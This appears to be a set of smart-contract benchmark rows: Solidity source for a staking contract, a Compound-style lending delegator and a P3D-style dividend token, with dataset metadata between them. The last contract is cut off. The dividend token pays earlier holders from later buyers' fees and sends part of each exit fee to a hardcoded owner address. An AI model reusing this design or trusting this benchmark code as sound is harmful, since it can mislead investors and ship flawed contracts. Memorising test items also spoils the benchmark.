function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, 'Address: low-level static call failed');
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), 'Address: static call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, 'Address: low-level delegate call failed');
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), 'Address: delegate call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns (string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = '0123456789abcdef';
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for (uint256 i = 0; i < 20; i++) {
_addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, 'Ownable: zero address');
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, 'Ownable: caller != pending owner');
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, 'Ownable: caller is not the owner');
_;
}
}
interface IStakedImpERC20Token is IERC20 {
function rebase(uint256 ohmProfit_, uint256 epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint256 amount) external view returns (uint256);
function balanceForGons(uint256 gons) external view returns (uint256);
function index() external view returns (uint256);
}
interface IWarmup {
function retrieve(address staker_, uint256 amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract ImpStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IStakedImpERC20Token;
IERC20 public immutable IMP;
IStakedImpERC20Token public immutable sIMP;
struct Epoch {
uint256 number;
uint256 distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint256 public totalBonus;
IWarmup public warmupContract;
uint256 public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 SIMPAmount, uint256 IMPAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint256 period);
constructor(address _IMP,
address _SIMP,
uint32 _epochLength,
uint256 _firstEpochNumber,
uint32 _firstEpochTime) {
require(_IMP != address(0));
IMP = IERC20(_IMP);
require(_SIMP != address(0));
sIMP = IStakedImpERC20Token(_SIMP);
epoch = Epoch({length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 15000000000});//15 for 15000000000
}
struct Claim {
uint256 deposit;
uint256 gons;
uint256 expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint256 _amount, address _recipient) external returns (bool) {
rebase();
IMP.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[_recipient];
require(!info.lock, 'Deposits for account are locked');
warmupInfo[_recipient] = Claim({deposit: info.deposit.add(_amount), gons: info.gons.add(sIMP.gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false});
sIMP.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim(address _recipient) external {
Claim memory info = warmupInfo[_recipient];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[_recipient];
uint256 amount = sIMP.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[msg.sender];
delete warmupInfo[msg.sender];
uint256 SIMPBalance = sIMP.balanceForGons(info.gons);
warmupContract.retrieve(address(this), SIMPBalance);
IMP.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, SIMPBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[msg.sender].lock = !warmupInfo[msg.sender].lock;
emit LogDepositLock(msg.sender, warmupInfo[msg.sender].lock);
}
function unstake(uint256 _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
sIMP.safeTransferFrom(msg.sender, address(this), _amount);
IMP.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint256) {
return sIMP.index();
}
function rebase() public {
if (epoch.endTime <= uint32(block.timestamp)) {
sIMP.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint256 balance = contractBalance();
uint256 staked = sIMP.circulatingSupply();
if (balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint256) {
return IMP.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS {
DISTRIBUTOR,
WARMUP
}
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if (_contract == CONTRACTS.DISTRIBUTOR) {
// 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) {
// 1
require(address(warmupContract) == address(0), 'Warmup cannot be set more than once');
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint256 _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 316,102 | 10,975 |
3542b23f75b082cc9b729d7e44072e414a17745f1f286ed2458d59a8420f6420
| 33,397 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
Derivative/Normal/Frax/Misc_AMOs/scream/CErc20Delegator.sol
| 3,694 | 16,848 |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.5.17;
contract ComptrollerInterface {
/// @notice Indicator that this is a Comptroller contract (for inspection)
bool public constant isComptroller = true;
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function exitMarket(address cToken) external returns (uint);
function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint);
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external;
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint);
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external;
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint);
function borrowVerify(address cToken, address borrower, uint borrowAmount) external;
function repayBorrowAllowed(address cToken,
address payer,
address borrower,
uint repayAmount) external returns (uint);
function repayBorrowVerify(address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external;
function liquidateBorrowAllowed(address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (uint);
function liquidateBorrowVerify(address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external;
function seizeAllowed(address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint);
function seizeVerify(address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external;
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint);
function transferVerify(address cToken, address src, address dst, uint transferTokens) external;
function liquidateCalculateSeizeTokens(address cTokenBorrowed,
address cTokenCollateral,
uint repayAmount) external view returns (uint, uint);
}
// File: contracts\InterestRateModel.sol
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
// File: contracts\CTokenInterfaces.sol
contract CTokenStorage {
bool internal _notEntered;
string public name;
string public symbol;
uint8 public decimals;
uint internal constant borrowRateMaxMantissa = 0.0005e16;
uint internal constant reserveFactorMaxMantissa = 1e18;
address payable public admin;
address payable public pendingAdmin;
ComptrollerInterface public comptroller;
InterestRateModel public interestRateModel;
uint internal initialExchangeRateMantissa;
uint public reserveFactorMantissa;
uint public accrualBlockNumber;
uint public borrowIndex;
uint public totalBorrows;
uint public totalReserves;
uint public totalSupply;
mapping (address => uint) internal accountTokens;
mapping (address => mapping (address => uint)) internal transferAllowances;
struct BorrowSnapshot {
uint principal;
uint interestIndex;
}
mapping(address => BorrowSnapshot) internal accountBorrows;
}
contract CTokenInterface is CTokenStorage {
bool public constant isCToken = true;
event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows);
event Mint(address minter, uint mintAmount, uint mintTokens);
event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);
event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewAdmin(address oldAdmin, address newAdmin);
event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);
event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
event Transfer(address indexed from, address indexed to, uint amount);
event Approval(address indexed owner, address indexed spender, uint amount);
event Failure(uint error, uint info, uint detail);
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) public view returns (uint);
function exchangeRateCurrent() public returns (uint);
function exchangeRateStored() public view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() public returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint);
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint);
function _acceptAdmin() external returns (uint);
function _setComptroller(ComptrollerInterface newComptroller) public returns (uint);
function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint);
function _reduceReserves(uint reduceAmount) external returns (uint);
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint);
}
contract CErc20Storage {
address public underlying;
}
contract CErc20Interface is CErc20Storage {
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint);
function _addReserves(uint addAmount) external returns (uint);
}
contract CDelegationStorage {
address public implementation;
}
contract CDelegatorInterface is CDelegationStorage {
event NewImplementation(address oldImplementation, address newImplementation);
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
contract CDelegateInterface is CDelegationStorage {
function _becomeImplementation(bytes memory data) public;
function _resignImplementation() public;
}
// File: contracts\CErc20Delegator.sol
contract CErc20Delegator is CTokenInterface, CErc20Interface, CDelegatorInterface {
constructor(address underlying_,
ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_,
address payable admin_,
address implementation_,
bytes memory becomeImplementationData) public {
// Creator of the contract is admin during initialization
admin = msg.sender;
// First delegate gets to initialize the delegator (i.e. storage contract)
delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,address,uint256,string,string,uint8)",
underlying_,
comptroller_,
interestRateModel_,
initialExchangeRateMantissa_,
name_,
symbol_,
decimals_));
// New implementations always get set via the settor (post-initialize)
_setImplementation(implementation_, false, becomeImplementationData);
// Set the proper admin now that initialization is done
admin = admin_;
}
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public {
require(msg.sender == admin, "CErc20Delegator::_setImplementation: Caller must be admin");
if (allowResign) {
delegateToImplementation(abi.encodeWithSignature("_resignImplementation()"));
}
address oldImplementation = implementation;
implementation = implementation_;
delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData));
emit NewImplementation(oldImplementation, implementation);
}
function mint(uint mintAmount) external returns (uint) {
mintAmount; // Shh
delegateAndReturn();
}
function redeem(uint redeemTokens) external returns (uint) {
redeemTokens; // Shh
delegateAndReturn();
}
function redeemUnderlying(uint redeemAmount) external returns (uint) {
redeemAmount; // Shh
delegateAndReturn();
}
function borrow(uint borrowAmount) external returns (uint) {
borrowAmount; // Shh
delegateAndReturn();
}
function repayBorrow(uint repayAmount) external returns (uint) {
repayAmount; // Shh
delegateAndReturn();
}
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) {
borrower; repayAmount; // Shh
delegateAndReturn();
}
function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) {
borrower; repayAmount; cTokenCollateral; // Shh
delegateAndReturn();
}
function transfer(address dst, uint amount) external returns (bool) {
dst; amount; // Shh
delegateAndReturn();
}
function transferFrom(address src, address dst, uint256 amount) external returns (bool) {
src; dst; amount; // Shh
delegateAndReturn();
}
function approve(address spender, uint256 amount) external returns (bool) {
spender; amount; // Shh
delegateAndReturn();
}
function allowance(address owner, address spender) external view returns (uint) {
owner; spender; // Shh
delegateToViewAndReturn();
}
function balanceOf(address owner) external view returns (uint) {
owner; // Shh
delegateToViewAndReturn();
}
function balanceOfUnderlying(address owner) external returns (uint) {
owner; // Shh
delegateAndReturn();
}
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) {
account; // Shh
delegateToViewAndReturn();
}
function borrowRatePerBlock() external view returns (uint) {
delegateToViewAndReturn();
}
function supplyRatePerBlock() external view returns (uint) {
delegateToViewAndReturn();
}
function totalBorrowsCurrent() external returns (uint) {
delegateAndReturn();
}
function borrowBalanceCurrent(address account) external returns (uint) {
account; // Shh
delegateAndReturn();
}
function borrowBalanceStored(address account) public view returns (uint) {
account; // Shh
delegateToViewAndReturn();
}
function exchangeRateCurrent() public returns (uint) {
delegateAndReturn();
}
function exchangeRateStored() public view returns (uint) {
delegateToViewAndReturn();
}
function getCash() external view returns (uint) {
delegateToViewAndReturn();
}
function accrueInterest() public returns (uint) {
delegateAndReturn();
}
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint) {
liquidator; borrower; seizeTokens; // Shh
delegateAndReturn();
}
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) {
newPendingAdmin; // Shh
delegateAndReturn();
}
function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) {
newComptroller; // Shh
delegateAndReturn();
}
function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint) {
newReserveFactorMantissa; // Shh
delegateAndReturn();
}
function _acceptAdmin() external returns (uint) {
delegateAndReturn();
}
function _addReserves(uint addAmount) external returns (uint) {
addAmount; // Shh
delegateAndReturn();
}
function _reduceReserves(uint reduceAmount) external returns (uint) {
reduceAmount; // Shh
delegateAndReturn();
}
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) {
newInterestRateModel; // Shh
delegateAndReturn();
}
function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
return delegateTo(implementation, data);
}
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function delegateToViewAndReturn() private view returns (bytes memory) {
(bool success,) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), returndatasize) }
}
}
function delegateAndReturn() private returns (bytes memory) {
(bool success,) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
function () external payable {
require(msg.value == 0,"CErc20Delegator:fallback: cannot send value to fallback");
// delegate all other functions to current implementation
delegateAndReturn();
}
}
| 67,901 | 10,976 |
a2759fe88b106d9089530f3f7ca5d0c8e1753fa2d50cf672c61785281795218d
| 12,947 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x7af6a64e4285db0471f819ae541a75649e2d2af4.sol
| 3,461 | 12,368 |
pragma solidity ^0.4.25;
contract EasyProToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "EasyProToken";
string public symbol = "EPT";
address constant internal boss = 0xad38E78f2A05c77874006d60261DEF36954a2426;
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint8 constant internal ownerFee1 = 10;
uint8 constant internal ownerFee2 = 25;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
return purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_dividends, ownerFee2), 100);
_dividends = SafeMath.sub(_dividends, forBoss);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
